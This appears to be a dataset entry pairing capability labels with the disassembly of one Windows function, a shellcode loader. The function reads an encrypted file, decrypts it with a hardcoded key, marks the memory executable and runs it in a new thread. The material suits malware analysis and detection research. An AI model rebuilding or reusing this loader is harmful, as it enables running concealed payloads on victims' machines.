Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011ca0
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x1400240a2]
call fcn.1400113ca
mov dword [rbp + 0xa4], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xc8], rax
lea rax, str.C:Usersjojo_source_reposproject1x64Debugzeze.bin
mov qword [rbp + 0xe8], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 8], rax
lea rdx, str.CreateFileA
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x108], 0x5a
mov byte [rbp + 0x109], 0xcd
mov byte [rbp + 0x10a], 0xf4
mov byte [rbp + 0x10b], 0x9e
mov byte [rbp + 0x10c], 0xd2
mov byte [rbp + 0x10d], 0xbf
mov byte [rbp + 0x10e], 0x6c
mov byte [rbp + 0x10f], 0x47
mov byte [rbp + 0x110], 0x8a
mov byte [rbp + 0x111], 0xfd
mov byte [rbp + 0x112], 0xcf
mov byte [rbp + 0x113], 0xc9
mov byte [rbp + 0x114], 0xae
mov byte [rbp + 0x115], 0x2d
mov byte [rbp + 0x116], 0x76
mov byte [rbp + 0x117], 0xd1
mov qword [rbp + 0x138], 0x10
cmp qword [rbp + 0x28], 0
jne 0x140011dea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x284], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x284]
mov r8d, ecx
lea rdx, str.Failed_to_get_CreateFileA_address:_Error__lu_n
mov rcx, rax
call fcn.140011370
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rbp + 0xe8]
call qword [rbp + 0x28]
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0xffffffffffffffff
jne 0x140011e65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x284], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x284]
mov r8d, ecx
lea rdx, str.Failed_to_open_file:_Error__lu_n
mov rcx, rax
call fcn.140011370
mov eax, 0xffffffff
jmp 0x1400121ab
lea rdx, [rbp + 0x178]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140011ec3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x284], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x284]
mov r8d, ecx
lea rdx, str.Failed_to_get_file_size:_Error__lu_n
mov rcx, rax
call fcn.140011370
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121ab
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x198], 0
jne 0x140011f05
lea rcx, str.Memory_allocation_failed
call qword [sym.imp.ucrtbased.dll_perror]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121ab
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x1b4]
mov r8d, dword [rbp + 0x178]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140011f43
mov eax, dword [rbp + 0x1b4]
cmp rax, qword [rbp + 0x178]
je 0x140011f96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x284], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x284]
mov r8d, ecx
lea rdx, str.Failed_to_read_file:_Error__lu_n
mov rcx, rax
call fcn.140011370
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400121ab
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, qword [rbp + 0x138]
lea r8, [rbp + 0x108]
mov edx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x198]
call fcn.1400113f2
test eax, eax
je 0x140011ff8
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Decryption_failed_n
mov rcx, rax
call fcn.140011370
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121ab
mov eax, dword [rbp + 0x1b4]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rbp + 8]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001204d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Failed_to_allocate_executable_memory._n
mov rcx, rax
call fcn.140011370
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121ab
mov eax, dword [rbp + 0x1b4]
mov r8d, eax
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x48]
call fcn.14001140b
mov eax, dword [rbp + 0x1b4]
lea r9, [rbp + 0xa4]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1400120e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x284], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0x284]
mov r8d, ecx
lea rdx, str.Failed_to_change_memory_protection:_Error__lu_n
mov rcx, rax
call fcn.140011370
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121ab
lea rcx, str.Press_any_key_to_execute_the_decrypted_payload..._n
call fcn.1400111ae
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001216b
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.Failed_to_create_thread._n
mov rcx, rax
call fcn.140011370
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
mov eax, 0xffffffff
jmp 0x1400121ab
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.ucrtbased.dll_free]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001af10]
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret